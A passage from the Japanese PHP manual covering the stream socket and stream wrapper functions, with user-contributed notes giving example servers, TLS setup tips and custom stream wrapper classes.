fclose($sockets[0]);
fclose($sockets[1]);
echo "</pre>";
?>
outputs:
Test 1, Peeking beyond oob when the read buffer becomes empty
The data order is 'abcxyZdef'
has regular:bool(true)
has oobData:bool(true)
Peek (9) regular:abcxy
Peek (1) OobData:Z
READ (4) regular:abcx
Peek (9) regular:y
READ (1) regular:y
Peek (9) regular:def
READ (9) OobData:Z
Peek (9) regular:def

<?php
echo "<pre>";
$sockets = stream_socket_pair(STREAM_PF_INET, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$reader=$sockets[0];
$writer=$sockets[1];

stream_socket_sendto($writer,"Z",STREAM_OOB); // ONLY THE LAST BYTE IS MARKED AS OOB DATA
stream_socket_sendto($writer,"abcxydef");

echo "<hr/>";
echo "\r\n";
echo "Test 2, peek if there is nothing in front of the OOB data\r\n";
echo "The data order is 'Zabcxydef'\r\n";
stream_select($r=array($reader), $w=array(), $x=array($reader),5);
echo "has regular:";var_dump(count($r)!==0);
echo "has oobData:";var_dump(count($x)!==0);
echo "<span style='color:blue'>peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "<span style='color:red' >Peek (9) OobData:".stream_socket_recvfrom($reader,9,STREAM_OOB)."</span>\r\n";
echo "<span style='color:blue'>peek (9) regular:".stream_socket_recvfrom($reader,9,STREAM_PEEK)."</span>\r\n";
echo "</pre>";
?>
Outputs:
Test 2, peek if there is nothing in front of the OOB data
The data order is 'Zabcxydef'
has regular:bool(true)
has oobData:bool(true)
peek (9) regular:abcxydef
Peek (9) OobData:Z
peek (9) regular:abcxydef
MagicalTux at php dot net 15-Feb-2011 11:13
This method may return a peer address not compatible with stream_socket_sendto() if in ipv6.

The ip returned by recvfrom is not within brackets ([]), and has the port appended, which makes it look like ::1:1234. To cut it properly, use strrpos()
cweiske at php dot net 28-Feb-2010 05:42
Note that stream_socket_recvfrom() bypasses stream wrappers including TLS/SSL. While reading from an encrypted stream with fread() will return decrypted data, using stream_socket_recvfrom() will give you the original encrypted bytes.


接続されているかどうかにかかわらず、ソケットにデータを送信する

  • ≪ stream_socket_recvfrom
  • stream_socket_server ≫
  • PHP Manual
  • ストリーム 関数
  • 接続されているかどうかにかかわらず、ソケットにデータを送信する

stream_socket_sendto

(PHP 5, PHP 7, PHP 8)

stream_socket_sendto — 接続されているかどうかにかかわらず、ソケットにデータを送信する

説明

stream_socket_sendto ( resource $socket , string $data , int $flags = 0 , string $address = ? ) : int

data で指定したデータを socket で指定したソケットに送信します。

パラメータ

socket

data を送信するソケット。

data

送りたいデータ。

flags

flags は以下の値の組み合わせです。

flags でとりうる値
STREAM_OOB OOB (out-of-band) データを処理します。

address

address で別のアドレスが指定されていない限り、 ソケットストリームが作成された際のアドレスを使用します。

指定する場合は、ドットで 4 つに区切った形式 (あるいは IPv6 形式) でなければなりません。

返り値

結果コードを整数値で返します。

例

例1 stream_socket_sendto() の例

<?php
/* localhost のポート 1234 へのソケットをオープンします */
$socket = stream_socket_client('tcp://127.0.0.1:1234');

/* 普通のデータを普通のチャネルで送信します */
fwrite($socket, "Normal data transmit.");

/* 帯域外のデータを送信します */
stream_socket_sendto($socket, "Out of Band data.", STREAM_OOB);

/* ソケットを閉じます */
fclose($socket);
?>

参考

  • stream_socket_recvfrom() - 接続されているかどうかにかかわらず、ソケットからのデータを受信する
  • stream_socket_client() - インターネットドメインまたは Unix ドメインのソケット接続を開く
  • stream_socket_server() - インターネットドメインまたは Unix ドメインのサーバーソケットを作成する

User Contributed Notes

mrforsythexeter at googlemail dot com 10-Jul-2013 04:07
The return appears to be the size in bytes of the data written to the socket, or -1 on failure (this could be because of non blocking)


インターネットドメインまたは Unix ドメインのサーバーソケットを作成する

  • ≪ stream_socket_sendto
  • stream_socket_shutdown ≫
  • PHP Manual
  • ストリーム 関数
  • インターネットドメインまたは Unix ドメインのサーバーソケットを作成する

stream_socket_server

(PHP 5, PHP 7, PHP 8)

stream_socket_server — インターネットドメインまたは Unix ドメインのサーバーソケットを作成する

説明

stream_socket_server ( string $local_socket , int &$errno = ? , string &$errstr = ? , int $flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN , resource $context = ? ) : resource

local_socket で指定された接続ポイントに、 ストリームまたはデータグラムソケットによる接続を作成します。

この関数は、ソケットのみを作成します。接続待ちの状態に入るには、 stream_socket_accept() 関数を使います。

パラメータ

local_socket

作成されるソケットのタイプは、[トランスポート]://[ターゲット] という形式の URL フォーマットによって指定された トランスポートによって決定されます:

TCP や UDP といったインターネットドメインのソケット (AF_INET) には、remote_socket パラメータの ターゲット の部分は、ホスト名または IP アドレスと、 それに続くコロンで区切られたポート番号から構成されていなければなりません。 Unix ドメインのソケットの場合は、ターゲット の部分は、ファイルシステムにおけるソケットのファイルを指定しなくては いけません。

システムの種類によって、Unix ドメインのソケットが利用できない場合があります。 利用できるトランスポートの種類は、stream_get_transports() によって知ることができます。 組み込みのトランスポートのリストは、サポートされるソケットトランスポートのリスト を参照ください。

errno

オプションの errno と errstr パラメータが存在するときは、そこにシステムレベルの socket()、bind() および listen() のコールにおいて発生した 実際のシステムレベルのエラーを返します。 もし、errno に返された値が 0 で、かつ false が返された場合、bind() コールを行う前にエラーが発生したことを示しており、これは多くの場合 ソケットの初期化に失敗したことを示しています。 errno と errstr パラメータは常に参照渡しとなることに留意してください。

errstr

errno の説明を参照ください。

flags

ソケット作成フラグの任意の組み合わせを指定できるビットフィールドです。

注意:

UDP ソケットに対しては、STREAM_SERVER_BIND を flags パラメータとして使用する必要があります。

context

返り値

作成したストリーム、あるいはエラー時に false を返します。

例

例1 TCP サーバーソケットの使用

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
  echo "$errstr ($errno)<br />\n";
} else {
  while ($conn = stream_socket_accept($socket)) {
    fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
    fclose($conn);
  }
  fclose($socket);
}
?>

下記の例は、PHP のスクリプトが、どうやって stream_socket_client() で示したような、 問い合わせに応答するタイムサーバーとして機能するかを示したものです。

注意: 1024 番よりも小さいポート番号のサーバーソケットを作成する場合、 多くのシステムでは root 権限が必要となります。

例2 UDP サーバーソケットを利用する

<?php
$socket = stream_socket_server("udp://127.0.0.1:1113", $errno, $errstr, STREAM_SERVER_BIND);
if (!$socket) {
    die("$errstr ($errno)");
}

do {
    $pkt = stream_socket_recvfrom($socket, 1, 0, $peer);
    echo "$peer\n";
    stream_socket_sendto($socket, date("D M j H:i:s Y\r\n"), 0, $peer);
} while ($pkt !== false);

?>

注意

注意: 数値で IPv6 アドレスを指定するときは、 (例 fe80::1) アドレスを角カッコでくくらなくてはなりません。たとえば、 tcp://[fe80::1]:80.

参考

  • stream_socket_client() - インターネットドメインまたは Unix ドメインのソケット接続を開く
  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する
  • stream_set_timeout() - ストリームにタイムアウトを設定する
  • fgets() - ファイルポインタから 1 行取得する
  • fgetss() - ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • fwrite() - バイナリセーフなファイル書き込み処理
  • fclose() - オープンされたファイルポインタをクローズする
  • feof() - ファイルポインタがファイル終端に達しているかどうか調べる
  • Curl 拡張モジュール

User Contributed Notes

Heretic86 at roadrunner dot com 25-Nov-2020 07:27
This is an example of how to set up stream_socket_server to connect with multiple Secure Websockets on WSS (wss://) that uses SSL / TLS as a Transport.

This runs on a Windows Apache Server with a registered domain and SSL Cert from LetsEncrypt via Certbot.

Run this script from a console "php server.php", and javascript html as a client with:
socket = new WebSocket('wss://php.net:1234');

<?php
$host = '192.168.1.2';
$port = 1234;
$path = 'C:/Certbot/live/php.net/';
$transport = 'tlsv1.3';
$ssl = ['ssl' => [
          'local_cert'  => $path . 'cert.pem',       // SSL Certificate
          'local_pk'    => $path . 'privkey.pem',    // SSL Keyfile
          'disable_compression' => true,             // TLS compression attack vulnerability
          'verify_peer'         => false,            // Set this to true if acting as an SSL client
          'ssltransport' => $transport,              // Transport Methods such as 'tlsv1.1', tlsv1.2'
        ] ];
$ssl_context = stream_context_create($ssl);
$server = stream_socket_server($transport . '://' . $host . ':' . $port, $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $ssl_context);
if (!$server) {  die("$errstr ($errno)"); }
$clients = array($server);
$write  = NULL;
$except = NULL;
while (true) {
  $changed = $clients;
  stream_select($changed, $write, $except, 10);
  if (in_array($server, $changed)) {
    $client = @stream_socket_accept($server);
    if (!$client){ continue; }
    $clients[] = $client;
    $ip = stream_socket_get_name( $client, true );
    echo "New Client connected from $ip\n";

    stream_set_blocking($client, true);
    $headers = fread($client, 1500);
    handshake($client, $headers, $host, $port);
    stream_set_blocking($client, false);

    send_message($clients, mask($ip . ' connected'));
    $found_socket = array_search($server, $changed);
    unset($changed[$found_socket]);
  }
  foreach ($changed as $changed_socket) {
    $ip = stream_socket_get_name( $changed_socket, true );
    $buffer = stream_get_contents($changed_socket);
        if ($buffer == false) {
      echo "Client Disconnected from $ip\n";
      @fclose($changed_socket);
            $found_socket = array_search($changed_socket, $clients);
            unset($clients[$found_socket]);
        }
    $unmasked = unmask($buffer);
    if ($unmasked != "") { echo "\nReceived a Message from $ip:\n\"$unmasked\" \n"; }
    $response = mask($unmasked);
    send_message($clients, $response);
  }
}
fclose($server);

function unmask($text) {
    $length = @ord($text[1]) & 127;
    if($length == 126) {    $masks = substr($text, 4, 4);    $data = substr($text, 8); }
    elseif($length == 127) {    $masks = substr($text, 10, 4); $data = substr($text, 14); }
    else { $masks = substr($text, 2, 4); $data = substr($text, 6); }
    $text = "";
    for ($i = 0; $i < strlen($data); ++$i) { $text .= $data[$i] ^ $masks[$i % 4];    }
    return $text;
}
function mask($text) {
    $b1 = 0x80 | (0x1 & 0x0f);
    $length = strlen($text);
    if($length <= 125)
        $header = pack('CC', $b1, $length);
    elseif($length > 125 && $length < 65536)
        $header = pack('CCn', $b1, 126, $length);
    elseif($length >= 65536)
        $header = pack('CCNN', $b1, 127, $length);
    return $header.$text;
}
function handshake($client, $rcvd, $host, $port){
    $headers = array();
    $lines = preg_split("/\r\n/", $rcvd);
    foreach($lines as $line)
    {
        $line = rtrim($line);
        if(preg_match('/\A(\S+): (.*)\z/', $line, $matches)){
            $headers[$matches[1]] = $matches[2];
        }
    }
    $secKey = $headers['Sec-WebSocket-Key'];
    $secAccept = base64_encode(pack('H*', sha1($secKey . '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')));
    //hand shaking header
    $upgrade  = "HTTP/1.1 101 Web Socket Protocol Handshake\r\n" .
    "Upgrade: websocket\r\n" .
    "Connection: Upgrade\r\n" .
    "WebSocket-Origin: $host\r\n" .
    "WebSocket-Location: wss://$host:$port\r\n".
    "Sec-WebSocket-Version: 13\r\n" .
    "Sec-WebSocket-Accept:$secAccept\r\n\r\n";
  fwrite($client, $upgrade);
}
function send_message($clients, $msg){
    foreach($clients as $changed_socket){
    @fwrite($changed_socket, $msg);
    }
}
?>
Anonymous 19-Jun-2019 11:10
Some examples of socket server uses address 127.0.0.1 as below:

stream_socket_server("tcp://127.0.0.1:5353", $errno, $errorMessage);

While it works for localhost testing, when connecting to the socket server via external element, the IP should be "0.0.0.0" as below:

stream_socket_server("tcp://0.0.0.0:5353", $errno, $errorMessage);

root@server:~# netstat -anp | grep 5353
tcp        0      0 0.0.0.0:5353           0.0.0.0:*               LISTEN      26353/php
blackmac01 at gmail dot com 03-Dec-2015 01:35
I'm writing an HTTP server and I need SSL support, but getting this to work correctly with PHP streams took a bit of trial and error. For anyone who is trying to get an HTTP SSL server working with stream_socket_server:

1) Your SSL context will need to contain 'local_cert'. If  you did not include your private key with your local_cert, you'll also need to specify 'local_pk' which is your RSA key.  Your keys and certs should be PEM encoded, which means base-64. If your certificate has intermediary certs, you will need to specify those in the correct order: Your signed cert, intermediary cert 1, intermediary cert 2, etc. Each cert in the list needs to validate the one above it, but you do not need to include the CA Root that your SSL signer provided; that should already be included with the client's software (i.e. trust root certs).

You can append your private key in the file with your certs, however I keep mine in its own file. If you see the word "encrypted" when you view your key with a text viewer, you need to enter the correct passphrase and specify the context "passphrase", otherwise you can leave that one out.

As a server, verify_peer is irrelevant and should be set to false (should always be true if you are acting as an SSL client). Both cafile and capath contexts are not needed for functioning as a SSL/TLS server, but they are needed if you are making SSL connections with PHP as the client.

Lastly, the 'ciphers' context should be set to a list of secure ciphers. Search for "mozilla recommended ciphers" and choose the string of ciphers that works for you, because not all openssl supported ciphers are secure. I went with the "intermediate" list, which provides high security and compatibility.

2) When you create the binding for stream_socket_server(), make sure that you choose the tcp:// wrapper. DO NOT USE ssl:// or tls://. Anything other than tcp:// will not work correctly AS A SERVER, those transports are what you use when making connections with PHP as a client.

Remember that the encryption does not start until after an SSL handshake completes, so the server has to listen in non-encrypted mode for new connections, and encryption doesn't start until certs are exchanged and a cipher is selected. When a new connection arrives you accept it with stream_socket_accept() and then use stream_socket_enable_crypto() to start the SSL session.

3) Keep in mind that the SSL handshake takes time, and that the stream_socket wrappers are high level and not as responsive as the socket extension due to the additional overhead they incur. For this reason you will need to enable blocking for accepting new connections.

<enable blocking on ServerListenStream>
newConnStream = stream_socket_accept(ServerListenStream);
<disable blocking on ServerListenStream>

<enable blocking on newConnStream >
stream_socket_enable_crypto(newConnStream, true, STREAM_CRYPTO_METHOD_SSLv23_SERVER);
<disable blocking on newConnStream >

Note that this is mainly for HTTP. If you are trying to do something like SMTP then your script will have to react to the "starttls" command, but it would be similar to the above except that you would wait for the "starttls" command before invoking the  stream_socket_enable_crypto() function on the client's stream.

TLS 1.0 is generally the way to go, SSLv3 is insecure and SSLv2 is buggy. If you use the mozilla recommend cipher list in your context, you'll be fine. Hope this helps someone out!
Aurelien Marchand 11-Mar-2011 11:54
In the case of AF_UNIX sockets, note the named sockets that will be created respects your umask(). So if you wanted your named socket to be writeable to all, do umask(0) prior to calling stream_socket_server().

AM
frxstrem 26-Jun-2010 10:18
Using the OpenSSL extension, PHP can automatically generate self-signed SSL certificates, which can be used for basic authentication and encryption (although I would recommend to use a signed certificate instead) for SSL servers.

I have extended the script by 'e at osterman dot com' to automatically create self-signed certificates:

<?php
// Hello World! SSL HTTP Server.
// Tested on PHP 5.1.2-1+b1 (cli) (built: Mar 20 2006 04:17:24)

// Certificate data:
$dn = array(
    "countryName" => "UK",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// Generate certificate
$privkey = openssl_pkey_new();
$cert    = openssl_csr_new($dn, $privkey);
$cert    = openssl_csr_sign($cert, null, $privkey, 365);

// Generate PEM file
# Optionally change the passphrase from 'comet' to whatever you want, or leave it empty for no passphrase
$pem_passphrase = 'comet';
$pem = array();
openssl_x509_export($cert, $pem[0]);
openssl_pkey_export($privkey, $pem[1], $pem_passphrase);
$pem = implode($pem);

// Save PEM file
$pemfile = './server.pem';
file_put_contents($pemfile, $pem);

$context = stream_context_create();

// local_cert must be in PEM format
stream_context_set_option($context, 'ssl', 'local_cert', $pemfile);
// Pass Phrase (password) of private key
stream_context_set_option($context, 'ssl', 'passphrase', $pem_passphrase);

stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
stream_context_set_option($context, 'ssl', 'verify_peer', false);

// Create the server socket
$server = stream_socket_server('ssl://0.0.0.0:9001', $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $context);

while(true)
{
    $buffer = '';
    print "waiting...";
    $client = stream_socket_accept($server);
    print "accepted " . stream_socket_get_name( $client, true) . "\n";
    if( $client )
    {
        // Read until double CRLF
        while( !preg_match('/\r?\n\r?\n/', $buffer) )
            $buffer .= fread($client, 2046);
        // Respond to client
        fwrite($client,  "200 OK HTTP/1.1\r\n"
                         . "Connection: close\r\n"
                         . "Content-Type: text/html\r\n"
                         . "\r\n"
                         . "Hello World! " . microtime(true)
                         . "<pre>{$buffer}</pre>");
        fclose($client);
    } else {
        print "error.\n";
    }
}

?>
peterjb at me dot com 02-Jan-2010 03:48
I had a horrible time trying to shove a TLS socket into an existing TCP program.  It appears to me that functions like stream_socket_recvfrom and stream_socket_sendto don't work with TLS/SSL (which may be obvious to PHP gurus...sorry if it is, I'm in a bit over my head here).

In the end I ended up doing all my IO with fread() and fwrite(), which solved all my problems.
davidm at marketo dot com 22-Nov-2009 04:15
In some specialized scenarios, you may want to create an AF_INET socket (UDP or TCP) but let the system select an unused port for you.  This is a standard feature of internet sockets but it doesn't seem to be documented how to do this for the stream_socket_server function.  It appears you can get this behavior by selecting zero for the port number, for example, my test below printed "127.0.0.1:4960".

<?php
  $sock = stream_socket_server("udp://127.0.0.1:0");
  $name = stream_socket_get_name($sock);
  echo $name;
?>
Julien Picalausa 24-May-2009 01:27
You may have noticed that, unlike socket_listen, stream_socket_server doesn't have a backlog parameter. From the source code of php 5.2.9, it looks like the backlog parameter to the actual listen call is hardcoded to be 5. If this value doesn't suit your needs, you'll have to use the lower-level socket functions.
Neil Munro 05-Jul-2006 01:26
If you want a high speed socket server, use the low-level sockets instead (socket_create/bind/listen). The stream_socket_server version appears to have internal fixed 8k buffers that will overflow if you don't keep up by reading.

This is a serious problem if you an application that reads the socket for messages and then, say, saves the result in a database. The delay while it is busy processing means you can't read the data in time unless you get involved in muti-threading.

With the the low-level functions, the OS quietly buffers TCP/IP packets so there is no problem (tested on Windows XP Professional).
andrey at php dot net 07-Aug-2004 09:02
Just a small example how to use this function and also stream_select() to make a server that accepts more than one connections (can have many clients connected):
In master we hold all opened connections. Just before calling stream select we copy the array to $read and then pass it ot stream_select(). In case that we may read from at least one socket, $read will contain socket descriptors. $master is needed not to lose references to the opened connections we have.
stream_server.php :
<?php

$master = array();
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
    echo "$errstr ($errno)<br />\n";
} else {
    $master[] = $socket;
    $read = $master;
    while (1) {
        $read = $master;
        $mod_fd = stream_select($read, $_w = NULL, $_e = NULL, 5);
        if ($mod_fd === FALSE) {
            break;
        }
        for ($i = 0; $i < $mod_fd; ++$i) {
            if ($read[$i] === $socket) {
                $conn = stream_socket_accept($socket);
                fwrite($conn, "Hello! The time is ".date("n/j/Y g:i a")."\n");
                $master[] = $conn;
            } else {
                $sock_data = fread($read[$i], 1024);
                var_dump($sock_data);
                if (strlen($sock_data) === 0) { // connection closed
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    fclose($read[$i]);
                    unset($master[$key_to_del]);
                } else if ($sock_data === FALSE) {
                    echo "Something bad happened";
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    unset($master[$key_to_del]);
                } else {
                    echo "The client has sent :"; var_dump($sock_data);
                    fwrite($read[$i], "You have sent :[".$sock_data."]\n");
                    fclose($read[$i]);
                     unset($master[array_search($read[$i], $master)]);
                }
            }
        }
    }
}
?>
stream_client.php:
<?php
$fp = stream_socket_client("tcp://127.0.0.1:8000", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Aloha");
    while (!feof($fp)) {
        var_dump(fgets($fp, 1024));
    }
    fclose($fp);
}
?>

Thanks


全二重接続を終了する

  • ≪ stream_socket_server
  • stream_supports_lock ≫
  • PHP Manual
  • ストリーム 関数
  • 全二重接続を終了する

stream_socket_shutdown

(PHP 5 >= 5.2.1, PHP 7, PHP 8)

stream_socket_shutdown — 全二重接続を終了する

説明

stream_socket_shutdown ( resource $stream , int $mode ) : bool

全二重接続を (一時的あるいはそうでなく) 終了します。

注意:

関連するバッファの内容は、空になるかもしれないしならないかもしれません。

パラメータ

stream

オープンしているストリーム (たとえば stream_socket_client() でオープンしたものなど)。

mode

以下の定数のいずれか。STREAM_SHUT_RD (それ以降の受信を無効にする)、STREAM_SHUT_WR (それ以降の送信を無効にする) あるいは STREAM_SHUT_RDWR (それ以降の送受信を無効にする)。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 stream_socket_shutdown() の例

<?php

$server = stream_socket_server('tcp://127.0.0.1:1337');
$client = stream_socket_client('tcp://127.0.0.1:1337');

var_dump(fputs($client, "hello"));

stream_socket_shutdown($client, STREAM_SHUT_WR);
var_dump(fputs($client, "hello")); // ここでは動作しません

?>

上の例の出力は、 たとえば以下のようになります。

int(5)

Notice: fputs(): send of 5 bytes failed with errno=32 Broken pipe in test.php on line 9
int(0)

参考

  • fclose() - オープンされたファイルポインタをクローズする

User Contributed Notes

Daniel J 06-Jan-2021 07:59
Be wary of using stream_socket_shutdown with a TLS socket. The socket is closed without sending the "close_notify" message required by TLS protocol.

To correctly close a TLS socket, use fclose() instead, which internally calls OpenSSL's SSL_shutdown() function.
jgotti 07-Sep-2012 06:22
Just a note to say that if you encounter problem closing some sockets using fclose in a multi client server, you should really  give this one a try.

Spent a full day trying to resolve this issue using stream_socket_shutdown($clientStream,STREAM_SHUT_RDWR);
finally do the trick.


ストリームがロックをサポートしているかどうかを調べる

  • ≪ stream_socket_shutdown
  • stream_wrapper_register ≫
  • PHP Manual
  • ストリーム 関数
  • ストリームがロックをサポートしているかどうかを調べる

stream_supports_lock

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

stream_supports_lock — ストリームがロックをサポートしているかどうかを調べる

説明

stream_supports_lock ( resource $stream ) : bool

flock() によるロックをそのストリームがサポートしているかどうかを調べます。

パラメータ

stream

調べたいストリーム。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • flock() - 汎用のファイルロックを行う

User Contributed Notes

romain dot ardiet at gmail dot com 23-Oct-2014 08:54
This method returns TRUE on custom wrappers by default if you don't implement the stream_lock() method inside the wrapper : http://php.net/manual/en/streamwrapper.stream-lock.php


PHP のクラスとして実装された URL ラッパーを登録する

  • ≪ stream_supports_lock
  • stream_wrapper_restore ≫
  • PHP Manual
  • ストリーム 関数
  • PHP のクラスとして実装された URL ラッパーを登録する

stream_wrapper_register

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

stream_wrapper_register — PHP のクラスとして実装された URL ラッパーを登録する

説明

stream_wrapper_register ( string $protocol , string $class , int $flags = 0 ) : bool

自分で作ったプロトコルハンドラとストリームを実装し、それを fopen() や fread() といったファイルシステムの関数と利用することを可能にします。

パラメータ

protocol

登録したいラッパー名。

class

protocol を実装したクラス名。

flags

protocol が URL プロトコルである場合は STREAM_IS_URL を設定しなければなりません。 デフォルトは 0 で、ローカルストリームを意味します。

返り値

成功した場合に true を、失敗した場合に false を返します。

stream_wrapper_register() は、 protocol というハンドラが既にある場合、 false を返します。

例

例1 ストリームラッパーの登録方法

<?php
$existed = in_array("var", stream_get_wrappers());
if ($existed) {
    stream_wrapper_unregister("var");
}
stream_wrapper_register("var", "VariableStream");
$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

if ($existed) {
    stream_wrapper_restore("var");
}

?>

上の例の出力は以下となります。

line1
line2
line3
string(18) "line1
line2
line3
"

参考

  • streamWrapper プロトタイプクラス
  • ストリームラッパーとして登録するクラスの例
  • stream_wrapper_unregister() - URL ラッパーの登録を解除する
  • stream_wrapper_restore() - 事前に登録を解除された組み込みラッパーを復元する
  • stream_get_wrappers() - 登録されているストリームのラッパーのリストを取得する

User Contributed Notes

dmarjos at gmail dot com 05-Sep-2013 01:23
Be aware that even when stream_wrapper_register won't fail, open_basedir will affect functionality of the class.
Anonymous 16-Sep-2008 11:19
"for use with all the other filesystem functions"

"all" is not accurate.  Unfortunately, zip_open(), and presumably others, will ignore your custom stream wrapper.
phrank 17-Apr-2008 01:38
Actually, I don't know if there's a better way to figure out if stream_read() was called by fgets() or e.g. fread() than this one:

    public function stream_read($count)
    {
        $bt = debug_backtrace();
        if(($bt[0]['function'] == 'stream_read') &&
           ($bt[1]['function'] == 'fgets'))
        {
                $pos = strpos($GLOBALS[$this->varname], "\n", $this->position);
                $retval = substr($GLOBALS[$this->varname], $this->position, ($pos > $count) ? $count : $pos+1);

        }
        else
        {
                $retval = substr($GLOBALS[$this->varname], $this->position, $count);

        }
                $this->position += strlen($retval);
                return (string)$retval;
    }
yeiniel at gmail dot com 14-Oct-2007 07:30
on using dir_opendir on PHP5 make sure you not return a resource object on success. A resource object is diferent from false but php make a cast to bool to dir_opendir return value and modify the value of your resource to 1.

example:

class myclass{
  private $mysqlHandler;
  public function dir_opendir(....)
  {
    $this->mysqlHandler = mysql_connect(....);
    return $this->mysqlHandler; //this is wrong, next
                                          //time you use
                                          //$this->mysqlHandler
                                          // the value is 1
  }
}
fordiman at gmail dot com 13-Aug-2007 05:59
Updated. I figured there's no need to store the variable name if we're dereferenceing; we can just store the pointer and not have to dereference in each function for brevity.

Also, I added the assertion that the stream is a string, since we're behaving basically like it has to be, and I changed the name to GlobalStream and global://, as that's a more descriptive moniker than VariableName/var://.
<?php
class GlobalStream {
    private $pos;
    private $stream;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->stream = &$GLOBALS[$url["host"]];
        $this->pos = 0;
        if (!is_string($this->stream)) return false;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->pos;
        $ret = substr($this->stream, $this->pos, $count);
        $this->pos += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $l=strlen($data);
        $this->stream =
            substr($this->stream, 0, $this->pos) .
            $data .
            substr($this->stream, $this->pos += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->pos;
    }
    public function stream_eof() {
        return $this->pos >= strlen($this->stream);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen($this->stream);
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $this->pos + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $this->pos=$newPos;
        return $ret;
    }
}
stream_wrapper_register('global', 'GlobalStream') or die('Failed to register protocol global://');

$myvar = "";

$fp = fopen("global://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
fordiman at gmail dot com 13-Aug-2007 05:32
Updated for PHP 5, and optimized for readability, low line count, and minimum memory use:

<?php
class VariableStream {
    private $position;
    private $varname;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->position;
        $ret = substr($GLOBALS[$this->varname], $p, $count);
        $p += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $v=&$GLOBALS[$this->varname];
        $l=strlen($data);
        $p=&$this->position;
        $v = substr($v, 0, $p) . $data . substr($v, $p += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->position;
    }
    public function stream_eof() {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen(&$GLOBALS[$this->varname]);
        $p=&$this->position;
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $p + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $p=$newPos;
        return $ret;
    }
}
stream_wrapper_register("var", "VariableStream")
or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
phpnet at povaddict dot com dot ar 09-Jun-2007 08:10
In response to Anonymouse at Coward dot com:

The manual says "Reading stops when up to length bytes have been read, [...] or (after opening userspace stream) when 8192 bytes have been read whichever comes first."

I tested it and fread($filehandle, 4096) returns 4096 bytes, so it's working as the manual says it should. You're right when you say "8192 bytes is always passed to stream_read as count", but that doesn't mean fread will return 8192 bytes. If you call fread twice with length 4096, PHP calls stream_read passing 8192 as count on the first fread, and doesn't call it on second fread. On both cases, fread returns the correct amount of bytes.

<?php

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        echo "stream_read called asking for $count bytes\n";
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

}

stream_wrapper_register("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";
$l=range('a','z');
for($i=0;$i<65536;$i++) {
    $myvar .= $l[array_rand($l)];
}

$fp = fopen("var://myvar", "r+");

while (!feof($fp)) {
    $out = fread($fp,1000);
    echo "fread returned ",strlen($out)," bytes\n";
}

fclose($fp);

?>
Anonymouse at Coward dot com 26-Apr-2007 09:18
Use caution with writing code that may use stream wrappers with fread, as fread behaviour is 'inconsistent' with normal file operations because of the 8192 bytes internal buffer used by PHP ( >= 5.0.5 IIRC ).

ie:

fread($filehandle, filesize($filename))

will not work correctly if the file is larger than 8KB, it will only get you the first 8192 bytes. Also, it seems that:

fread($filehandle, 4096)

will still give you 8KB (if the file is larger than 8KB) as 8192 bytes is always passed to stream_read as count.

This makes it somewhat impossible to just 'drop in' a stream where normally a file would be used without taking special care.

